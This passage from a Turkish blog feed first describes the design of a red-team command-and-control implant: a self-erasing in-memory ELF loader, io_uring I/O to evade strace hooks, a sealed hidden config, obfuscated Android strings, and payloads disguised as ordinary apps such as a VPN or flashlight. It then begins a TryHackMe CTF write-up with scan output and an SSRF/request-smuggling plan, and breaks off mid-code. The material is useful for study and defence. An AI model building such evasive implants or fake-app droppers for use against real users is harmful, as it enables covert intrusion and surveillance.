self_resolve_imports():<br>    for each DT_NEEDED symbol:<br>      walk _r_debug.r_map → foreach library → walk export hash table<br>      match → patch GOT entry<br><br>  // 4. Set correct memory permissions per segment<br>  mprotect(PT_LOAD with PF_X) → PROT_READ | PROT_EXEC<br>  mprotect(PT_LOAD without PF_X) → PROT_READ | PROT_WRITE<br><br>  // 5. Wipe ELF magic + header in the mapped image<br>  //    After this: /proc/PID/maps shows an anonymous mapping with no name<br>  memset(mapped_base, 0, sizeof(Elf64_Ehdr))<br><br>  return entry_point</pre><p>`_r_debug.r_map` walk, Windows’taki PEB InMemoryOrderModuleList walk’ının Linux karşılığıdır. Her ikisi de herhangi bir işletim sistemi API’sini çağırmadan prosese yüklenen paylaşımlı kütüphane(shared library) listesini verir. Hızlı sembol çözümlemesi için GNU hash tablo araması kullanılır; bu, `ld.so`’nun dahili olarak kullandığı algoritmayla aynıdır.</p><p><strong>Teknik 5: Linux io_uring Without liburing</strong></p><p>Linux çekirdeği 5.1 ve üzeri sürümlerde ajan, tüm HTTP ve dosya G/Ç işlemlerini `io_uring` üzerinden gerçekleştirir. `liburing`’i (standart kullanıcı sarmalayıcısı) kullanmaktan kaçınma kararı kasıtlıydı: liburing, binary dosyaya tanınabilir bir kütüphane adı ekler ve `ldd` çıktısında görünen bir bağımlılık ekler. Bunun yerine, çekirdek ABI yapıları inline olarak tanımlanır:</p><pre>// iouring_defs.hpp — no &lt;linux/io_uring.h&gt;, no liburing<br><br>static constexpr long __NR_io_uring_setup = 425;   // x86_64<br>static constexpr long __NR_io_uring_enter = 426;<br><br>// 64-byte Submission Queue Entry — must match kernel ABI exactly<br>struct io_uring_sqe {<br>    uint8_t  opcode;<br>    uint8_t  flags;<br>    uint16_t ioprio;<br>    int32_t  fd;<br>    union { uint64_t off; uint64_t addr2; };<br>    union { uint64_t addr; uint64_t splice_off_in; };<br>    uint32_t len;<br>    union { uint32_t rw_flags; uint32_t open_flags; /* ... */ };<br>    uint64_t user_data;<br>    // ... (64 bytes total, static_assert enforced)<br>};<br><br>static_assert(sizeof(io_uring_sqe) == 64, &quot;kernel ABI mismatch&quot;);<br><br>// 16-byte Completion Queue Entry<br>struct io_uring_cqe {<br>    uint64_t user_data;<br>    int32_t  res;<br>    uint32_t flags;<br>};</pre><p>Runtime factory, başlangıçta `uname().release` değerini `5.1` ile karşılaştırır ve daha eski çekirdeklerde cpp-httplib’e geri döner. io_uring yolu, HTTP connect, send ve recv işlemlerini tek bir ring boşaltma işleminde gruplandırır; bu da daha az sistem çağrısı gidiş-dönüşünü sağlar ve `read`/`write`/`send` işlemlerini yakalayan `strace` seviyesindeki kancaların G/Ç’yi yakalamasına engel olur.</p><h4>Config Mühürleme</h4><p>Listener adresi, port, beacon zamanlaması ve `build_id` binary dosyada düz metin olarak saklanamaz; statik analiz araçları bunları hemen çıkarır ve C2 altyapısını ele verir.</p><p>Ancak mühürleme anahtarının kendisi bir yerden gelmelidir. Onu düz metin olarak saklamak amacın dışına çıkar(tavuk mu yumurtadan çıkar, yumurta mı tavuktan çıkar?). Çözüm: Anahtarı, binary dosyadaki dört bilinen işaretleyici ofsetine bölmek ve her derleme için rastgele bir seed’ten türetmek.</p><pre>Binary layout (simplified):<br>┌──────────────────────────────────────────────────┐<br>│ ... code ...                                     │<br>│ [MARKER_A][seed_fragment_0: 8 bytes][padding]    │  ← offset discovered by builder<br>│ ... code ...                                     │<br>│ [MARKER_B][seed_fragment_1: 8 bytes][padding]    │<br>│ ... code ...                                     │<br>│ [MARKER_C][seed_fragment_2: 8 bytes][padding]    │<br>│ ... code ...                                     │<br>│ [MARKER_D][seed_fragment_3: 8 bytes][padding]    │<br>│ ... code ...                                     │<br>│ [BlobHeader (128 bytes)][ciphertext + GCM tag]   │  ← config blob slot<br>│ [BlobHeader (128 bytes)][ciphertext + GCM tag]   │  ← RSA key blob slot<br>└──────────────────────────────────────────────────┘<br><br>Key derivation:<br>  seed = seed_fragment_0 || seed_fragment_1 || seed_fragment_2 || seed_fragment_3<br>  key  = HKDF-SHA256(IKM=seed, salt=blob.salt, info=build_id||platform||stage||abi||blob_type||key_version)<br>  config_plaintext = AES-256-GCM-Decrypt(key, nonce=blob.nonce, AAD=BlobHeader, ciphertext)</pre><p>Builder, yama zamanında seed parçalarını yazar, anahtarı türetir, config’i mühürler ve bloğu yazar. Çalışma zamanında, ajan aynı dört işaretleyici ofsetini okur, seed’i yeniden oluşturur, aynı anahtarı türetir ve şifreyi çözer. Mühürleme anahtarı hiçbir yerde görünmez; dağınık parçalardan talep üzerine hesaplanır ve ardından atılır.</p><p>`BlobHeader` yapısı, derleme zamanında `static_assert` ile tam olarak 128 bayttır. `BlobHeader` başlığının tamamı, AES-GCM’nin Additional Authenticated Data (AAD) olarak kullanılır. Bu, `build_id` veya `platform` alanlarındaki bitlerin değiştirilmesi de dahil olmak üzere başlıkta yapılan herhangi bir değişikliğin GCM etiket doğrulamasını başarısız kılacağı anlamına gelir. Başlık şifrelenmemiş olsa bile bütünlüğü korunmaktadır.</p><h4>Android Ajanlar: Kotlin + JNI + DEX Staging</h4><p>Android ajanı, masaüstü aşamalı mimarisini yansıtır ancak JVM/ART çalışma zamanını hedefler. Yerel kriptografi (RSA-OAEP, AES-256-GCM, HKDF) C++ dilinde uygulanır ve JNI aracılığıyla sunulur; Kotlin katmanı orkestrayı yönetir, C++ katmanı ise tüm kriptografik işlemleri yönetir.</p><pre>agent/android-kotlin/<br>├── app/         ← Monolithic APK (all task handlers inline)<br>├── stager/      ← Stage 1 APK (downloads stage2 DEX)<br>├── stage2/      ← Stage 2 DEX (loaded via DexClassLoader)<br>└── modules/     ← External DEX modules loaded at runtime<br>    ├── shell/<br>    ├── recon/<br>    ├── file_manager/<br>    ├── file_transfer/<br>    └── location/</pre><p>Android sınıf yükleyici sınırları, önemli bir mühendislik problemidir. Stage2 DEX, ayrı bir `DexClassLoader` instance’ına yüklenir; doğrudan stager sınıflarını içe aktaramaz. Bir `shared-contracts` Gradle modülü, her iki tarafın da bağlı olduğu arayüzleri tanımlar ve stage2 instance’ı, bu sınırlarda yalnızca `java.lang.Object` türleri kullanılarak `EntryPoint` üzerinde yansıma yoluyla üretilir.</p><p>R8, sınıf yükleyici sınırları boyunca stager’ın küçültülmüş sınıf adlarıyla isim çakışmalarını önlemek için stage2 (‘x’) için farklı bir `-repackageclasses` ad alanı kullanır.</p><p>Android CTE uygulaması, her derlemede rastgele 16 baytlık bir XOR anahtarıyla modül başına `Str.kt` oluşturan bir Gradle derleme görevidir. Stringler, DEX string sabitleri değil, `ByteArray` tamsayı değişmezleri olarak saklanır, bu nedenle hiçbir zaman bir DEX dosyasının `strings` tablosunda görünmezler:</p><pre>// Generated Str.kt (build artifact, not checked in)<br>// Strings stored as byte arrays, never as DEX string constants<br>object Str {<br>    private val k = byteArrayOf(0x3F, 0x7A, /* ... 16 bytes */ )<br>    <br>    val BEACON_PATH = byteArrayOf(0x5E, 0x1B, /* XOR-encrypted bytes */)<br>    <br>    fun d(b: ByteArray): String = String(b.mapIndexed { i, v -&gt;<br>        (v.toInt() xor k[i % k.size].toInt()).toByte()<br>    }.toByteArray())<br>}<br><br>// Usage: Str.d(Str.FIELD_JITTER) → &quot;jitter&quot;</pre><p>`-assumenosideeffects` R8 kuralları, `android.util.Log` çağrılarını ve bunların argüman oluşturma işlemlerini (string şablonları ve `StringBuilder` zincirleri dahil) release DEX’inden kaldırır. Endpointler, task türlerini veya oturum durumunu açığa çıkaracak log çağrıları, release derlemelerinde sıfır DEX bayt kodu üretir.</p><p><strong>Application Factory</strong></p><p>Initial Access kısmı için yaptığım bu özellik, beş adet üretim kalitesinde APK temasında (VPN uygulaması, el feneri, hava durumu, temizleyici, launcher) aynı ajan mantığını içerir(custom template’ler de destekleniyor), böylece ajanın legit bir uygulama gibi görünülmesi sağlanır. Operatör, builder arayüzünde bir tema seçer. Admin sunucusu, seçilen önceden derlenmiş şablon APK’yı C2 config bloğu ve RSA anahtar bloğu ile yamalar, ardından `zipalign` + `apksigner` komutlarını çalıştırır. Sunucu, derleme sırasında kaynak kodunu asla yeniden derlemez; mühürlenmiş binary blokları önceden oluşturulmuş bir şablona yamalar.</p><h4>Payload Builder</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itwmWE8LTjuou6gV02j_fA.png" /><figcaption>Payload Builder</figcaption></figure><p>Admin sunucusunun builder’ı kaynak kodlarına asla dokunmaz. Şunları yapar:</p><ol><li>Seçilen listener sunucusunun mevcut RSA genel anahtarını Redis’ten alır (dinleyici başlangıçta bir anahtar çifti oluşturur ve genel anahtarı saklar)</li><li>İstenen işletim sistemi/mimari/tür için önceden derlenmiş binary şablonu bulur</li><li>Binary dosyada dört seed parçası işaretçilerini bulur</li><li>Derleme başına rastgele bir seed oluşturur, parçaları yazar, HKDF anahtarını türetir</li><li>Config ve RSA anahtarını AES-256-GCM binary dosyaları olarak mühürler ve şablona ekler</li><li>APK’lar için: `zipalign` → `apksigner` çalıştırır</li></ol><pre>Operator selects:              builder_service.go<br>  OS + arch + type    ──────►  fetch RSA pubkey from Redis<br>  listener host/port           find pre-compiled template<br>  beacon interval              locate fragment markers<br>  APK theme (Android)          generate seed → write fragments<br>                               HKDF-SHA256 → AES-GCM seal<br>                               patch config blob + RSA blob<br>                    ┌──────── APK? → zipalign + apksigner<br>                    │         ELF/PE? → done<br>                    ▼<br>               signed payload → served for download</pre><p>Operatör, derleme adımı gerektirmeyen, kullanıma hazır bir binary dosya indirir. Admin sunucusu, teslimat sırasında config dosyasını asla düz metin olarak içermez; dosyayı hemen şifreler ve yalnızca ajan, çalışma zamanında şifreyi çözebilir.</p><h3>Bu C2 Mimarisi Bizi Nelerden Korur?</h3><p>Her tasarım kararı belirli bir tehdide karşılık geliyor:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/116ea4acf33476897072474ee44c9f96/href">https://medium.com/media/116ea4acf33476897072474ee44c9f96/href</a></iframe><h3>Sırada Ne Var?</h3><p>Bu yazı mimariye genel bir bakıştı. Gelecek yazılarımda alt sistemlere daha detaylı olarak değineceğim:</p><ul><li><strong>AlertShroud’un Derinlemesine İncelenmesi</strong> — `.tcwake` bölüm kısıtlaması, sahte yığın çerçevesi oluşturma ve VEH kurtarma yolu</li><li><strong>Dolaylı sistem çağrıları: SSN çözülmesi + Halo’s Gate</strong> — EDR kancalarının düz metin NT adları olmadan nasıl tespit edildiği ve atlandığı</li><li><strong>C2 iletişimi için io_uring</strong> — ham çekirdek ABI’sine bir ring buffer G/Ç yolunun uygulanması</li><li><strong>Sınıf yükleyici sınırları içerisinde Android DEX staging </strong>— `DexClassLoader` izolasyonunun ve R8 etkileşiminin mühendislik kısıtlamaları</li><li><strong>Config mühürleme sistemi</strong> — Dağınık binaryparçalardan HKDF anahtar türetimi ve builder pipeline</li><li>İşletim sistemlerine özgü kalıcılık mekanizmaları, single-instance, lokasyon verisi mantığı, vb. gibi konular…</li></ul><h3>UYARI!</h3><p><em>telekinetiC2, authorized red team çalışmaları için geliştirilmiş kapalı kaynaklı bir C2 frameworküdür. Burada açıklanan tüm teknikler akademik literatürde belgelenmiştir ve Cobalt Strike, Havoc ve Sliver gibi açık kaynaklı araçlarda uygulanmıştır.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=107d1be27ad3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM El Bandito Cozumu/Writeup]]></title>
            <link>https://medium.com/@st4inl3s5/thm-el-bandito-cozumu-writeup-61cd43db18e6?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/61cd43db18e6</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-ctf]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Sun, 07 Dec 2025 00:10:58 GMT</pubDate>
            <atom:updated>2025-12-07T00:10:58.276Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/88/1*SGlfmTr91iISTKHkj-zfSQ.png" /></figure><p>HTTP İstek Kaçakçılığı zaafiyetleriyle ilgili bir CTF çözümüyle beraberiz.</p><p><strong>1-) Recon&amp;Enumeration(Keşif&amp;Enumerasyon)</strong></p><p>Makine Adı: El Bandito</p><p>Makine Açıklaması: Can you help capture El Bandito before he leaves the galaxy?</p><p>Task Açıklaması: El Bandito, the new identity of the infamous Jack the Exploiter, has plunged into the Web3 domain with a devious token scam. By exploiting the decentralized essence of blockchain, he crafted and circulated fraudulent tokens, deceiving investors and shaking the foundational trust of the decentralized finance DeFi ecosystem. As we embark on this new challenge, it becomes clear that the stakes are higher than ever. To succeed, we must infiltrate his network, decode his strategies, and anticipate his moves before he can strike again. The mission has evolved: now, we must capture El Bandito. This requires a deep dive into the digital underworld, using cunning and technical skills to outmaneuver him and restore security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u7_38DNue2BqUBskYvlEUA.png" /></figure><p>We request your help in smuggling all the flags.</p><p>Soru 1: Whats the first web flag?</p><p>Soru 2: Whats the second web flag?</p><p>nmap taramasıyla başlıyorum.</p><pre>zuzu@stgma39:~$ sudo nmap -sV -sC -sS -v -O -T4 -p- 10.80.135.241<br>[sudo] password for zuzu:<br>Starting Nmap 7.98 ( &lt;https://nmap.org&gt; ) at 2025-12-06 00:09 +0300<br>NSE: Loaded 158 scripts for scanning.<br>NSE: Script Pre-scanning.<br>Initiating NSE at 00:09<br>Completed NSE at 00:09, 0.00s elapsed<br>Initiating NSE at 00:09<br>Completed NSE at 00:09, 0.00s elapsed<br>Initiating NSE at 00:09<br>Completed NSE at 00:09, 0.00s elapsed<br>Initiating Ping Scan at 00:09<br>Scanning 10.80.135.241 [4 ports]<br>Completed Ping Scan at 00:09, 0.08s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 00:09<br>Completed Parallel DNS resolution of 1 host. at 00:09, 0.50s elapsed<br>Initiating SYN Stealth Scan at 00:09<br>Scanning 10.80.135.241 [65535 ports]<br>Discovered open port 8080/tcp on 10.80.135.241<br>Discovered open port 80/tcp on 10.80.135.241<br>Discovered open port 22/tcp on 10.80.135.241<br>SYN Stealth Scan Timing: About 46.55% done; ETC: 00:10 (0:00:36 remaining)<br>Discovered open port 631/tcp on 10.80.135.241<br>Completed SYN Stealth Scan at 00:11, 73.03s elapsed (65535 total ports)<br>Initiating Service scan at 00:11<br>Scanning 4 services on 10.80.135.241<br>Completed Service scan at 00:13, 143.71s elapsed (4 services on 1 host)<br>Initiating OS detection (try #1) against 10.80.135.241<br>Retrying OS detection (try #2) against 10.80.135.241<br>WARNING: OS didn&#39;t match until try #2<br>NSE: Script scanning 10.80.135.241.<br>Initiating NSE at 00:13<br>Completed NSE at 00:13, 3.09s elapsed<br>Initiating NSE at 00:13<br>Completed NSE at 00:13, 1.59s elapsed<br>Initiating NSE at 00:13<br>Completed NSE at 00:13, 0.00s elapsed<br>Nmap scan report for 10.80.135.241<br>Host is up (0.072s latency).<br>Not shown: 65531 closed tcp ports (reset)<br>PORT     STATE SERVICE  VERSION<br>22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 1d:d6:40:dc:c3:1d:68:16:65:3e:4c:2a:98:dd:02:90 (RSA)<br>|   256 d7:58:48:3f:b4:7d:0f:15:7a:64:5a:88:b0:5d:0d:2f (ECDSA)<br>|_256 a8:be:5d:5b:bf:d7:91:9e:b5:c5:80:cc:9e:57:8f:3f (ED25519)<br>80/tcp   open  ssl/http El Bandito Server<br>| http-methods:<br>|_  Supported Methods: OPTIONS GET POST HEAD<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=utf-8).<br>|_ssl-date: TLS randomness does not represent time<br>| fingerprint-strings:<br>|   FourOhFourRequest:<br>|     HTTP/1.1 404 NOT FOUND<br>|     Date: Fri, 05 Dec 2025 21:12:18 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 207<br>|     Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;; object-src &#39;none&#39;;<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: SAMEORIGIN<br>|     X-XSS-Protection: 1; mode=block<br>|     Feature-Policy: microphone &#39;none&#39;; geolocation &#39;none&#39;;<br>|     Age: 0<br>|     Server: El Bandito Server<br>|     Connection: close<br>|     &lt;!doctype html&gt;<br>|     &lt;html lang=en&gt;<br>|     &lt;title&gt;404 Not Found&lt;/title&gt;<br>|     &lt;h1&gt;Not Found&lt;/h1&gt;<br>|     &lt;p&gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&lt;/p&gt;<br>|   GetRequest:<br>|     HTTP/1.1 200 OK<br>|     Date: Fri, 05 Dec 2025 21:11:24 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 58<br>|     Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;; object-src &#39;none&#39;;<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: SAMEORIGIN<br>|     X-XSS-Protection: 1; mode=block<br>|     Feature-Policy: microphone &#39;none&#39;; geolocation &#39;none&#39;;<br>|     Age: 0<br>|     Server: El Bandito Server<br>|     Accept-Ranges: bytes<br>|     Connection: close<br>|     nothing to see &lt;script src=&#39;/static/messages.js&#39;&gt;&lt;/script&gt;<br>|   HTTPOptions:<br>|     HTTP/1.1 200 OK<br>|     Date: Fri, 05 Dec 2025 21:11:25 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 0<br>|     Allow: OPTIONS, GET, POST, HEAD<br>|     Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;; object-src &#39;none&#39;;<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: SAMEORIGIN<br>|     X-XSS-Protection: 1; mode=block<br>|     Feature-Policy: microphone &#39;none&#39;; geolocation &#39;none&#39;;<br>|     Age: 0<br>|     Server: El Bandito Server<br>|     Accept-Ranges: bytes<br>|     Connection: close<br>|   RTSPRequest:<br>|_    HTTP/1.1 400 Bad Request<br>|_http-server-header: El Bandito Server<br>| ssl-cert: Subject: commonName=localhost<br>| Subject Alternative Name: DNS:localhost<br>| Issuer: commonName=localhost<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-04-10T06:51:56<br>| Not valid after:  2031-04-08T06:51:56<br>| MD5:     b27d 890a f042 b213 5197 0a59 8e7d 7032<br>| SHA-1:   c7ef 94a2 c156 0d67 0228 3e0e ec9d 208b 1ef7 2610<br>|_SHA-256: 0773 4992 1dba 1e33 8942 7673 02f7 0a64 c3e7 ffad 7fdf b454 e219 b641 ee50 eca3<br>631/tcp  open  ipp      CUPS 2.4<br>|_http-title: Forbidden - CUPS v2.4.12<br>|_http-server-header: CUPS/2.4 IPP/2.1<br>| http-methods:<br>|_  Supported Methods: GET HEAD POST OPTIONS<br>8080/tcp open  http     nginx<br>|_http-favicon: Spring Java Framework<br>|_http-title: Site doesn&#39;t have a title (application/json;charset=UTF-8).<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at &lt;https://nmap.org/cgi-bin/submit.cgi?new-service&gt; :<br>SF-Port80-TCP:V=7.98%T=SSL%I=7%D=12/6%Time=69334A7D%P=x86_64-pc-linux-gnu%<br>SF:r(GetRequest,1E5,&quot;HTTP/1\.1\x20200\x20OK\r\nDate:\x20Fri,\x2005\x20Dec\<br>SF:x202025\x2021:11:24\x20GMT\r\nContent-Type:\x20text/html;\x20charset=ut<br>SF:f-8\r\nContent-Length:\x2058\r\nContent-Security-Policy:\x20default-src<br>SF:\x20&#39;self&#39;;\x20script-src\x20&#39;self&#39;;\x20object-src\x20&#39;none&#39;;\r\nX-Cont<br>SF:ent-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-XSS<br>SF:-Protection:\x201;\x20mode=block\r\nFeature-Policy:\x20microphone\x20&#39;n<br>SF:one&#39;;\x20geolocation\x20&#39;none&#39;;\r\nAge:\x200\r\nServer:\x20El\x20Bandit<br>SF:o\x20Server\r\nAccept-Ranges:\x20bytes\r\nConnection:\x20close\r\n\r\nn<br>SF:othing\x20to\x20see\x20&lt;script\x20src=&#39;/static/messages\.js&#39;&gt;&lt;/script&gt;&quot;<br>SF:)%r(HTTPOptions,1CB,&quot;HTTP/1\.1\x20200\x20OK\r\nDate:\x20Fri,\x2005\x20D<br>SF:ec\x202025\x2021:11:25\x20GMT\r\nContent-Type:\x20text/html;\x20charset<br>SF:=utf-8\r\nContent-Length:\x200\r\nAllow:\x20OPTIONS,\x20GET,\x20POST,\x<br>SF:20HEAD\r\nContent-Security-Policy:\x20default-src\x20&#39;self&#39;;\x20script-<br>SF:src\x20&#39;self&#39;;\x20object-src\x20&#39;none&#39;;\r\nX-Content-Type-Options:\x20n<br>SF:osniff\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-XSS-Protection:\x201;\x20<br>SF:mode=block\r\nFeature-Policy:\x20microphone\x20&#39;none&#39;;\x20geolocation\x<br>SF:20&#39;none&#39;;\r\nAge:\x200\r\nServer:\x20El\x20Bandito\x20Server\r\nAccept-<br>SF:Ranges:\x20bytes\r\nConnection:\x20close\r\n\r\n&quot;)%r(RTSPRequest,1C,&quot;HT<br>SF:TP/1\.1\x20400\x20Bad\x20Request\r\n\r\n&quot;)%r(FourOhFourRequest,26C,&quot;HTT<br>SF:P/1\.1\x20404\x20NOT\x20FOUND\r\nDate:\x20Fri,\x2005\x20Dec\x202025\x20<br>SF:21:12:18\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCont<br>SF:ent-Length:\x20207\r\nContent-Security-Policy:\x20default-src\x20&#39;self&#39;<br>SF:;\x20script-src\x20&#39;self&#39;;\x20object-src\x20&#39;none&#39;;\r\nX-Content-Type-O<br>SF:ptions:\x20nosniff\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-XSS-Protectio<br>SF:n:\x201;\x20mode=block\r\nFeature-Policy:\x20microphone\x20&#39;none&#39;;\x20g<br>SF:eolocation\x20&#39;none&#39;;\r\nAge:\x200\r\nServer:\x20El\x20Bandito\x20Serve<br>SF:r\r\nConnection:\x20close\r\n\r\n&lt;!doctype\x20html&gt;\n&lt;html\x20lang=en&gt;\<br>SF:n&lt;title&gt;404\x20Not\x20Found&lt;/title&gt;\n&lt;h1&gt;Not\x20Found&lt;/h1&gt;\n&lt;p&gt;The\x20r<br>SF:equested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\x20If\x<br>SF:20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x20your\x<br>SF:20spelling\x20and\x20try\x20again\.&lt;/p&gt;\n&quot;);<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15<br>Uptime guess: 33.398 days (since Sun Nov  2 14:40:38 2025)<br>Network Distance: 3 hops<br>TCP Sequence Prediction: Difficulty=262 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>NSE: Script Post-scanning.<br>Initiating NSE at 00:13<br>Completed NSE at 00:13, 0.00s elapsed<br>Initiating NSE at 00:13<br>Completed NSE at 00:13, 0.00s elapsed<br>Initiating NSE at 00:13<br>Completed NSE at 00:13, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 225.98 seconds<br>           Raw packets sent: 68004 (2.994MB) | Rcvd: 66522 (2.662MB)<br><br></pre><p>22: SSH, 80: HTTP, 631:IPP, 8080:HTTP portları açık durumda. CUPS servisinde DoS yapılabiliyormuş ama ne işime yarar bilmiyorum.</p><p>80: HTTP portuna erişemiyorum(ileride erişilecek…) ve 631: IPP Forbidden vermekte. Elimde sadece 8080: HTTP kalıyor ve ziyaret ettiğimde şöyle bir sayfayla karşılaşıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrOOGpQc4bxH1hSPyjgJhA.png" /><figcaption>8080. portta yer alan web sunucusu</figcaption></figure><p>Bir yandan gobuster çalıştırıp siteyi incelemeye başlıyorum. gobuster çıktısı aşağıdadır(çok fazla forbidden olduğu için kestim.)</p><pre>    environmental.php    (Status: 403) [Size: 146]<br>    envoyer.php          (Status: 403) [Size: 146]<br>    error.php            (Status: 500) [Size: 88]<br>    error                (Status: 500) [Size: 88]<br>    error.txt            (Status: 406) [Size: 212]<br>    error.html           (Status: 500) [Size: 301]<br>    favicon.ico          (Status: 200) [Size: 946]<br>    health               (Status: 200) [Size: 150]<br>    index.html           (Status: 200) [Size: 557]<br>    info                 (Status: 200) [Size: 2]<br>    metrics              (Status: 403) [Size: 146]<br>    metrics.php          (Status: 403) [Size: 146]<br>    metrics.html         (Status: 403) [Size: 146]<br>    metrics.txt          (Status: 403) [Size: 146]<br>    services.html        (Status: 200) [Size: 3791]<br>    token.html           (Status: 200) [Size: 8]<br>    token.txt            (Status: 200) [Size: 8]<br>    token                (Status: 200) [Size: 8]<br>    token.php            (Status: 200) [Size: 8]<br>    trace                (Status: 403) [Size: 146]<br>    trace.php            (Status: 403) [Size: 146]<br>    trace.html           (Status: 403) [Size: 146]<br>    trace.txt            (Status: 403) [Size: 146]<br>    traceroute           (Status: 403) [Size: 146]<br>    traceroute.php       (Status: 403) [Size: 146]<br>    traceroute.html      (Status: 403) [Size: 146]<br>    traces               (Status: 403) [Size: 146]<br>    traceroute.txt       (Status: 403) [Size: 146]<br>    traces.txt           (Status: 403) [Size: 146]<br>    traces.html          (Status: 403) [Size: 146]<br>    traces.php           (Status: 403) [Size: 146]<br>    Progress: 81876 / 81876 (100.00%)<br>    ===============================================================<br>    Finished<br>    ===============================================================<br><br></pre><p>Diğer yandan da sitede 2 adet fonksiyonalite buldum:</p><ul><li><a href="http://10.80.135.241:8080/services.html">http://10.80.135.241:8080/services.html</a> adresinde token ekosistemiyle alakalı bazı subdomainlerin ayakta olup olmadığını kontrol eden bir fonksiyonalite var.</li><li><a href="http://10.80.135.241:8080/burn.html">http://10.80.135.241:8080/burn.html</a> adresinde token adresi verip bir miktar token yakabildiğimiz bir fonksiyonalite var.</li></ul><p>CTF, kripto paralarla ilgili bir temaya sahip. CTF’i yapan adam baya siteyi ayarlamış sanki gerçek bir token projesi gibi.</p><p><strong>2-) Exploitation 1-SSRF ve Websocket Smuggling</strong></p><p>Arkadan BurpSuite’ım açıktı. /services.html adresinde bu subdomainlerin ayakta olup olmadığı kontrol edilirken, şu şekilde istekler meydana gelmekte:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3bvQuPtzUh6suOmuRU0u_Q.png" /><figcaption>/services.html’de arkaplanda yapılan istekler</figcaption></figure><p>SSRF kokusu almadım değil, test etmek amacıyla kendi web sunucumu başlatıp bu istek gerçekten web sunucuma geliyor mu diye bakıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WB-JohWVEJMvyb6EkaLkaA.png" /><figcaption>SSRF zaafiyetinin keşfi</figcaption></figure><p>Gerçekten de geliyor. Cebime bir SSRF zaafiyeti soktum. Bir kenara not ediyorum, illa ki işime yarar.</p><p>/burn.html adresini ziyaret ettiğim zaman arkadan şöyle bir istek meydana geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MfLr9vAEJuHimSyrumaHdQ.png" /><figcaption>/burn.html’de arkaplandaki istekler</figcaption></figure><p>Bir websocket açılıyor. Burada websocket istek kaçakçılığı saldırıları deniyorum fakat bir sonuç alamıyorum. Amacım, nginx’in(front-end sunucusu) isteğimi websocket olarak işlemesi, back-end’in de isteğimi HTTP olarak işlemesiydi. Ama back-end’te isteğimi bir türlü HTTP’ye çeviremedim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gKBKifAiQ3Y5_PIO1K5Ow.png" /><figcaption>Websocket kaçakçılığı denemesi</figcaption></figure><p>Biraz düşündükten sonra aklıma önceden bulduğum SSRF zaafiyeti geldi. Bir saldırı planı kurdum fakat olabileceğinden emin değildim fakat denemeye kesinlikle değerdi:</p><ul><li>Kendi web sunucumu başlatıp her isteğe 101 Switching Protocols yanıtı verecek şekilde ayarlıyorum.(Nedenini ileride açıklayacağım.)</li><li>SSRF’i kullanarak isOnline endpointini kendi web sunucuma işaret edecek şekilde değiştiriyorum.</li><li>isOnline’a yapılan GET isteğini, front-end web sunucusunu kandırmak amacıyla bir websocket isteği gibi gösteriyorum.</li><li>Manipüle ettiğim isOnline isteğine, istek kaçakçılığı payloadımı ekliyorum.</li></ul><p>Bu şekilde bir saldırı senaryosu kurunca, sırasıyla aşağıdakiler gerçekleşiyor:</p><ul><li>isOnline endpointinde url parametresine kendi web sunucumu girdiğim için istek benim web sunucuma geliyor ve otomatikmen 101 Switching Protocols yanıtı alıyor. (Aşağıdaki python koduyla bu web sunucusunu açtım.)</li></ul><pre>      import sys<br>      from http.server import HTTPServer, BaseHTTPRequestHandler<br><br>      if len(sys.argv) - 1 != 1:<br>          print(&quot;&quot;&quot;Usage: python {} &lt;port&gt;&quot;&quot;&quot;.format(sys.argv[0]))<br>          